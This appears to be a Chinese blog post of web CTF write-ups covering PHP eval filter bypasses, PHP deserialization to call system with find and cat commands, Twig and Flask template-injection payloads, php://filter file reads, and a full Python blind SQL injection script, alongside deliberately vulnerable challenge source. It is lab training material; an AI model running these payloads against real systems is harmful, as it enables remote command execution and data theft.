[ASIS 2019]Unicorn shop

先随便输入一波,根据返回猜测是要买第四只独角兽,我们就可以拿到flag了。

但是只能输入单个字符,而第四只独角兽价格是1337,那么我们需要找到一个Unicode字符,它代表一个数字且这个数字大于1337

于是在这个网站,我们找到了一个字符

输入后得到flag

image.png

[NCTF2019]Fake XML cookbook

最基础的XML外部实体漏洞,直接抄网上Payload即可

image.png

[CISCN 2019 初赛]Love Math

给了源码

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

肯定需要想办法执行shell,不过有着很多很多的过滤,得想办法绕过

Payload:

image.png

解释:

image.png

重点函数是base_convertdechex,一个是把10进制转36进制套出hex2bin函数,一个是十进制转十六进制字符串。hex2bin可以把十六进制转为二进制字符串,从而达到目标效果。

[SWPU2019]Web1

这个题是一个广告系统,试用下发现是中间需要等待管理确认,猜测可能与XSS有关;但是迟迟不审核推测没有后端Bot,应该就是一些别的东西。

再用扫描器扫描一下,没看出来,不会了,去搜搜题解

原来是一个二次注入,然后学到了一些新的注入小技巧

具体方法就不放了,跟上面题解是一样的。

不过补充一下:第一个是as实际上可以没有,所以可以针对一些过滤了as的WAF;

第二个是as去掉后中间的空格可以用括号别名的方式绕过,效果是一样的。

比如2 as a2 a以及(2)a是等价的。

[网鼎杯 2020 朱雀组]phpweb

一个会隔5秒刷新的页面,同时会出现一些奇特的字符

image.png

猜测和时间可能有点关系,但是看不出来,扫描器扫一下,扫不出来

不会,上网搜题解,好吧,会了

file_get_contents获得主页文件源码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>

反序列化找flag

Payload,需要URL Encode

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:21:"find / -name "*flag*"";s:4:"func";s:6:"system";}
image.png
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
image.png

[BJDCTF2020]Cookie is so stable

PHP Twig模板注入

Payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};
image.png

[WesternCTF2018]shrine

Python SSTI,过滤了一部分关键字

那么我们只要想办法取出config就可以了

Payload

{{url_for.__globals__['current_app'].config}}

可以用url_for绕过关键字

[BJDCTF 2nd]简单注入

反斜杠掉第二个引号,使第三个引号和第一个引号闭合,最后插入恶意代码

用脚本来操作

image.png
import sys
import requests
import string
import time

config_html = 'http://69a79358-78f2-4ba2-8052-11e3f502a55b.node3.buuoj.cn/index.php'

#config_html = 'http://requestbin.net/r/1gf5gin1'

config_method = 'POST'

config_key = 'password'

config_data = {
    'username': 'admin\',
    'password' : '^{0}#'
}

config_length = '(char_length({0}){1})'

config_line = '({0}{1})'

config_success_flag = 'You konw ,P3rh4ps needs a girl friend'

config_failed_flag = 'BJD needs to be stronger'

config_retry_time = 0.1

config_headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'DNT':'1',
    'Connection':'close'
}

config_data_range = string.digits + string.ascii_letters + '{}-'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

print(config_data_range)

def get(url,data):
    if config_method == 'GET':
        r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
    else:
        r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    while r.status_code != 200:
        print('[-] Retry to connect...')
        time.sleep(config_retry_time)
        if config_method == 'GET':
            r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
        else:
            r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    r.encoding = 'UTF-8'
    #print(r.text)
    if config_success_flag in r.text:
        return True
    elif config_failed_flag in r.text:
        return False
    else:
        print('Error: method error!')
        return False

def cfg_data(par):
    data = config_data.copy()
    data[config_key] = data[config_key].format(par)
    return data

def concat_line_length(cmd,i):
    return config_length.format(cmd,'>' + str(i))

def concat_line_value(cmd,ret,i):
    if len(ret) != 0:
        return config_line.format(cmd,'>' + 'CHAR(' + ','.join(ret) + ',' + str(ord(i)) + ')')
    else:
        return config_line.format(cmd,'>' + 'CHAR(' + str(ord(i)) + ')')

def get_length_line(cmd):
    for i in range(0,255):
        time.sleep(config_retry_time)
        if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
            #print(cfg_data(concat_line_length(cmd,i)))
            print('[-] {0} NOT length: {1}'.format(cmd,i))
            continue
        else:
            print('[+] {0} length: {1}'.format(cmd,i))
            return i
    print('[-] Search Length Failed...')
    return 0

def get_value_line(cmd,length,preline):
    ret = list(preline)
    for l in range(length - len(preline)):
        #print(l,length-len(preline))
        last = ''
        fg = False
        for i in config_data_range:
            ret2 = []
            for j in ret:
                ret2.append(str(ord(j)))
            #print(config_data_range)
            #print(i)
            time.sleep(config_retry_time)
            #print(cfg_data(concat_line_value(cmd,ret2,i)))
            if get(url = config_html,data = cfg_data(concat_line_value(cmd,ret2,i))):
                last = i
                continue
            else:
                fg = True
                if l == length - len(preline) - 1:
                    ret.append(i)
                else:
                    ret.append(last)
                last = ''
                #print(ret)
                print('[+] {0} : {1}'.format(cmd,''.join(ret)))
                break
        if fg == False:
            ret.append(config_data_range[-1])
            print('[+] {0} : {1}'.format(cmd,''.join(ret)))
            break
    return ret

def database():
    cmd = "database()"
    #data_length = get_length_line(cmd)
    data_length = 7
    return get_value_line(cmd,data_length,'')

database()

def user():
    cmd = "username"
    data_length = get_length_line(cmd)
    #data_length = 7
    return get_value_line(cmd,data_length,'')

user()

def password():
    cmd = "password"
    data_length = get_length_line(cmd)
    #data_length = 7
    return get_value_line(cmd,data_length,'')

password()

脚本注入出来的大小写不对,应该是服务器端判断有问题(我没用二分),所以直接找了网上的密码得到flag

[安洵杯 2019]easy_serialize_php

给了源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

注意到

image.png

也就是我们需要想办法读取这个

那么我们试试反序列化逃逸,之前那个是替换更多的字符,这把是替换更少的字符,就是凑出合适的字符数使得正好覆盖到合适的位置上

image.png

覆盖7个字符,然后随便填充一个东西

image.png

输入4个字符是逃逸4个字符,注意extract可以覆盖变量。

那么我们先打一下试试

image.png
image.png

[BSidesCF 2020]Had a bad day

注意地址栏,会有一些问题

image.png

更改一波,会出错

image.png
image.png

推测是计算里面是否存在这样的字符串来判断

这样会循环

image.png

那么似乎就能推导做法了:在这个地方include一些不应该读取的文件,貌似就可以了

测试可以用%00截断,但是存在include_path='.:/usr/local/lib/php',始终是打不开的,有点奇怪

不过我们读取一波源码

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>
            </div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>

然后不会了,看题解得知原来伪协议可以额外套一层伪协议。。。

Payload

?category=php://filter/convert.base64-encode/woofers/resource=flag

会报Warning

image.png

不过可以正常的跑,很奇特。。。

image.png
It is my final heart.
最后更新于 2022-07-24